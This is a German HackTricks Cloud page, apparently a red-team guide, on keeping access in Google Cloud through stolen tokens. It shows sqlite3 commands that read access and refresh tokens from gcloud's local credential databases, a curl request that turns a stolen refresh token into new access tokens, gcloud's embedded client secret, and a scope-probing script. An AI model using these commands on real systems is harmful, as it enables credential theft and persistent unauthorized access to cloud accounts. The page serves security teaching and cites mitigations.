GCP - Token Persistence
Reading time: 6 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Authentifizierte Benutzertoken
Um das aktuelle Token eines Benutzers zu erhalten, können Sie Folgendes ausführen:
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
Überprüfen Sie auf dieser Seite, wie Sie dieses Token direkt mit gcloud verwenden:
Um die Details zur Generierung eines neuen Zugriffstokens zu erhalten, führen Sie aus:
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
Es ist auch möglich, Refresh-Token in $HOME/.config/gcloud/application_default_credentials.json
und in $HOME/.config/gcloud/legacy_credentials/*/adc.json
zu finden.
Um ein neues aktualisiertes Zugriffstoken mit dem Refresh-Token, der Client-ID und dem Client-Secret zu erhalten, führen Sie aus:
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
Die Gültigkeit der Refresh-Token kann in Admin > Sicherheit > Google Cloud-Sitzungskontrolle verwaltet werden, und standardmäßig ist sie auf 16 Stunden eingestellt, obwohl sie so konfiguriert werden kann, dass sie niemals abläuft:
.png)
Auth-Flow
Der Authentifizierungsfluss bei der Verwendung von etwas wie gcloud auth login
öffnet ein Eingabeaufforderung im Browser, und nachdem alle Berechtigungen akzeptiert wurden, sendet der Browser eine Anfrage wie diese an den von dem Tool geöffneten HTTP-Port:
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
Dann wird gcloud den Zustand und den Code mit einer fest codierten client_id
(32555940559.apps.googleusercontent.com
) und client_secret
(ZmssLNjJy2998hD4CTg2ejr2
) verwenden, um die finalen Refresh-Token-Daten zu erhalten.
caution
Beachten Sie, dass die Kommunikation mit localhost über HTTP erfolgt, sodass es möglich ist, die Daten abzufangen, um ein Refresh-Token zu erhalten. Diese Daten sind jedoch nur 1 Mal gültig, daher wäre dies nutzlos; es ist einfacher, das Refresh-Token aus der Datei zu lesen.
OAuth Scopes
Sie finden alle Google-Scope in https://developers.google.com/identity/protocols/oauth2/scopes oder erhalten sie, indem Sie ausführen:
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
Es ist möglich zu sehen, welche Scopes die Anwendung, die gcloud
zur Authentifizierung verwendet, unterstützen kann, mit diesem Skript:
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r"
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
echo ""
echo $scope
fi
done
Nach der Ausführung wurde überprüft, dass diese App die folgenden Scopes unterstützt:
https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email
es ist interessant zu sehen, wie diese App den drive
Scope unterstützt, der es einem Benutzer ermöglichen könnte, von GCP zu Workspace zu eskalieren, wenn es einem Angreifer gelingt, den Benutzer zu zwingen, ein Token mit diesem Scope zu generieren.
Überprüfen Sie, wie Sie das hier ausnutzen können.
Dienstkonten
Genau wie bei authentifizierten Benutzern, wenn Sie es schaffen, die private Schlüsseldatei eines Dienstkontos zu kompromittieren, können Sie in der Regel so lange darauf zugreifen, wie Sie möchten.
Wenn Sie jedoch das OAuth-Token eines Dienstkontos stehlen, kann das sogar noch interessanter sein, denn selbst wenn diese Tokens standardmäßig nur eine Stunde lang nützlich sind, bleibt das OAuth-Token gültig, bis es abläuft, selbst wenn das Opfer den privaten API-Schlüssel löscht.
Metadaten
Offensichtlich können Sie, solange Sie sich in einer Maschine im GCP-Umfeld befinden, auf das Dienstkonto zugreifen, das an dieser Maschine angehängt ist, indem Sie den Metadaten-Endpunkt kontaktieren (beachten Sie, dass die Oauth-Tokens, auf die Sie in diesem Endpunkt zugreifen können, normalerweise durch Scopes eingeschränkt sind).
Abhilfemaßnahmen
Einige Abhilfemaßnahmen für diese Techniken werden in https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2 erklärt.
Referenzen
- https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1
- https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.